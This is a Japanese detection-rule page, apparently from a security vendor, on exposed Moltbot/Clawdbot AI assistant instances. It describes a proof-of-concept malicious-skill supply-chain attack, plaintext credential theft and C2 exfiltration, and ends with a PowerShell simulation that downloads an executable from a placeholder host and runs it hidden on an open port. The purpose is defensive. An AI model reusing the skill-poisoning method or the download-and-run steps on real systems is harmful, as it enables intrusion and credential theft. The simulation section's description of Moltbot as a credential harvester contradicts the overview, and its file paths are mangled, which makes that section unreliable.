Moltbot/ClawdBotsの流行
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
この記事は、最初はClawdbotという名称だったAIパーソナルアシスタントに関するセキュリティ問題を指摘しており、後にMoltbotと改名されました。MoltbotはWhatsAppやTelegramなどのメッセージングアプリを通じて操作されますが、多くの導入例ではインターネットから簡単にアクセスでき、認証が弱いか欠如しています。ユーザークレデンシャルはプレーンテキストファイルに書き込まれ、スキルライブラリは攻撃される可能性があり、サプライチェーンへの影響を生み出します。脅威のあるアクターは秘密情報を盗み、ソースコードを持ち出し、アシスタントをバックドアとして再利用することができます。
調査
研究者たちは、認証なしで管理ポートを公開している何百ものMoltbotインスタンスと安全でないプロキシ設定を発見しました。実証実験のサプライチェーン攻撃では、ClawdHubライブラリに悪意のあるスキルをアップロードし、下流ユーザーに対するリモートコマンド実行をデモンストレーションしました。アナリストたちは、機密情報がプレーンテキストのMarkdownやJSONファイルに保存されていることも観察し、RedLine、Lumma、Vidarのような一般的な情報スティーラーにとって容易に狙われることになると指摘しました。
緩和策
オペレーターは、Moltbotサービス全てに対して強力な認証を要求し、管理ポートを閉じるかファイアウォールで保護し、アシスタントをインターネットに公開しないようにすべきです。格納された機密情報に対して暗号化を有効にし、ランタイムをサンドボックス化またはコンテナ化し、ファイルシステムへのアクセスを制限します。ライブラリから引き出したスキルを精査し、署名し、固定し、安全に管理できない場合はスキル機能を無効にすることを検討してください。
対応策
Moltbotへのオープンな管理ポートや認証されていないアクセス試行に対するアラートを発します。AIプロセスの予期しないコマンド実行や未知のC2ドメインへのアウトバウンド接続を監視します。ホストを対象にクレデンシャルを盗むマルウェアがないかスキャンし、保存された設定ファイルの整合性を確認します。侵害が確認された場合は、システムを隔離し、漏洩したクレデンシャルを無効にし、強化された設定でMoltbotを再展開します。
%% Class Definitions classDef technique fill:#ffcc99 classDef actor fill:#99ff99 classDef asset fill:#ccccff classDef process fill:#ff9999 %% Nodes actor_attacker[“<b>アクター</b>: 攻撃者”] class actor_attacker actor asset_moltbot[“<b>資産</b>: Moltbot インスタンス<br/><b>露出</b>: 認証なしで管理ポートにアクセス可能”] class asset_moltbot asset tech_external_remote[“<b>技術</b> – T1133: 外部リモートサービス<br/><b>説明</b>: 公開されているリモートサービスを使用して初期アクセスを取得する”] class tech_external_remote technique tech_exploit_remote[“<b>技術</b> – T1210: リモートサービスの悪用<br/><b>説明</b>: リモートサービスの脆弱性や設定ミスを悪用してコマンドを実行する”] class tech_exploit_remote technique tech_remote_access[“<b>技術</b> – T1219: リモートアクセスツール<br/><b>説明</b>: 侵害されたホスト上で追加コマンドを実行するためにリモートアクセス機能を使用する”] class tech_remote_access technique tech_hijack_execution[“<b>技術</b> – T1574: 実行フローのハイジャック<br/><b>説明</b>: スキルライブラリなどの信頼されたコンポーネントを汚染して実行フローを操作する”] class tech_hijack_execution technique asset_malicious_skill[“<b>資産</b>: 悪意のあるスキル<br/><b>場所</b>: ClawHub スキルライブラリ”] class asset_malicious_skill asset tech_content_injection[“<b>技術</b> – T1659: コンテンツインジェクション<br/><b>説明</b>: 正規のコンテンツに悪意のあるコードを注入し、被害者に実行させる”] class tech_content_injection technique process_payload[“<b>プロセス</b>: 悪意のあるペイロード<br/><b>動作</b>: 被害者の Moltbot ホスト上で実行される”] class process_payload process tech_credentials_files[“<b>技術</b> – T1552.001: ファイル内の認証情報<br/><b>説明</b>: JSON や Markdown などのファイルに保存された平文の認証情報にアクセスする”] class tech_credentials_files technique tech_system_services[“<b>技術</b> – T1569: システムサービス<br/><b>説明</b>: 永続化と実行のために悪意のあるコードをシステムサービスとして登録する”] class tech_system_services technique asset_c2_server[“<b>資産</b>: 攻撃者の C2 サーバー<br/><b>役割</b>: 実行確認および流出した認証情報を受信する”] class asset_c2_server asset tech_exfiltration[“<b>技術</b> – T1041: C2 チャネル経由のデータ流出<br/><b>説明</b>: 確立された C2 チャネルを通じて盗まれたデータを攻撃者へ転送する”] class tech_exfiltration technique %% Connections actor_attacker –>|発見する| asset_moltbot asset_moltbot –>|許可する| tech_external_remote tech_external_remote –>|つながる| tech_exploit_remote tech_exploit_remote –>|使用する| tech_remote_access tech_remote_access –>|実行する| tech_hijack_execution tech_hijack_execution –>|汚染する| asset_malicious_skill asset_malicious_skill –>|コードを注入する| tech_content_injection tech_content_injection –>|配信する| process_payload process_payload –>|読み取る| tech_credentials_files tech_credentials_files –>|データを提供する| tech_system_services tech_system_services –>|永続化を維持し実行する| process_payload process_payload –>|接続する| asset_c2_server asset_c2_server –>|データを受信する| tech_exfiltration
アタックフロー
シミュレーション実行
前提条件: テレメトリー & ベースライン プリフライト チェックに合格していること。
-
攻撃ナラティブ & コマンド:
レッドチームがデプロイする Moltbot (公共の利用可能なクレデンシャル収集ツール) を妥協されたWindowsホストに。デフォルトの設定でMoltbotを起動することで、未認証のHTTP管理コンソールが ポート8080 に開かれ、「Webに公開されている」とバナーで広告されます。これにより、検出ルールのリテラル文字列と一致するネットワーク接続イベントが作成されます。攻撃者は外部IPからUIにアクセスし、露出を確認し、必要なテレメトリーを生成します。- Moltbotをダウンロード (プレースホルダーのzipによってシミュレート)。
- バイナリを抽出し、デフォルトのフラグで実行します (
--listen 0.0.0.0:8080). - 外部IPからHTTP GETを発行する (によってシミュレート
Invoke-WebRequest).
-
回帰テストスクリプト:
# ---------------------------------------------------- # Moltbot露出シミュレーション - PowerShell # ---------------------------------------------------- # 1. 一時ディレクトリを作成 $tempDir = "$env:TEMPMoltbotSim" New-Item -ItemType Directory -Force -Path $tempDir | Out-Null # 2. Moltbot実行ファイルをダウンロードする (プレースホルダー) $molExe = "$tempDirmolbot.exe" Invoke-WebRequest -Uri "https://example.com/moltbot.exe" -OutFile $molExe -UseBasicParsing # 3. デフォルト (露出) 設定でMoltbotを実行する $proc = Start-Process -FilePath $molExe ` -ArgumentList "--listen 0.0.0.0:8080" ` -PassThru ` -WindowStyle Hidden Write-Host "[+] Moltbot started (PID: $($proc.Id)) listening on 0.0.0.0:8080" # 4. ログに登録されるために短期間待つ Start-Sleep -Seconds 5 # 5. 外部接続をシミュレートしてネットワークトラフィックを生成 Try { Invoke-WebRequest -Uri "http://$($env:COMPUTERNAME):8080" -UseBasicParsing -TimeoutSec 5 Write-Host "[+] 外部HTTPリクエストがMoltbot UIに送信されました。" } Catch { Write-Warning "[-] Moltbot UIに到達できません (ファイアウォールでブロックされている可能性があります)。" } # 6. ロギングのためにプロセスを生かし続ける (オプション) Start-Sleep -Seconds 20 # 7. クリーンアップ - Moltbotを停止 Stop-Process -Id $proc.Id -Force Remove-Item -Recurse -Force $tempDir Write-Host "[+] Moltbotシミュレーションが完了し、クリーンアップされました。" -
クリーンアップコマンド:
# 残ったMoltbotプロセスを強制的に終了し、一時ファイルを削除 Get-Process -Name "molbot" -ErrorAction SilentlyContinue | Stop-Process -Force Remove-Item -Path "$env:TEMPMoltbotSim" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "クリーンアップが完了しました。"